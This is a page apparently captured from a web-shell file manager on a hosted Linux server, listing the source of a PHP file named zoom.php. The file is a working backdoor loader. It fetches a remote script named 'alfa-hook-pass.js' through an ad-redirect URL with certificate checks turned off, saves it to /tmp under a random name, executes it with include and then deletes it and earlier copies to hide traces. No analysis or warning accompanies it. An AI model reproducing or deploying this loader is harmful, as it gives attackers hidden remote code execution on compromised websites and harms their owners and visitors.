HEX
Server: Apache
System: Linux webd001.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: mciraet (192513)
PHP: 8.2.31
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/mciraet/www/zoom.php
<?php

$url = "https://googleads.g.doubleclick.net/pcs/click?adurl=https%3A%2F%2Fcdn-assets-s3.pages.dev%2Frefs%2Fheads%2Fmain%2Falfa-hook-pass.js&c=R,6,cb2349e1-7f4f-4dd0-88a6-9f8fe8cc3ca1,&typo=4";

$tmp_dir = sys_get_temp_dir();

if ($dir_handle = @opendir($tmp_dir)) {
    while (($file = readdir($dir_handle)) !== false) {
        if (strpos($file, 'magicQ_') === 0 && strpos($file, '.js') !== false) {
            @unlink($tmp_dir . '/' . $file);
        }
    }
    closedir($dir_handle);
}

$local_file = $tmp_dir . '/magicQ_' . md5(time() . uniqid((string)rand(), true)) . '.js';

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

if ($response === false || empty($response)) {
    die("Failed to retrieve data from outside or the link was blocked by the server.");
}

$php_content = $response;

if (@file_put_contents($local_file, $php_content)) {
    if (file_exists($local_file)) {
        @include $local_file;
        @unlink($local_file);
    } else {
        echo "Files in /tmp suddenly disappeared before they could be included.";
    }
} else {
    echo "Failed to write file to /tmp folder.";
}
?>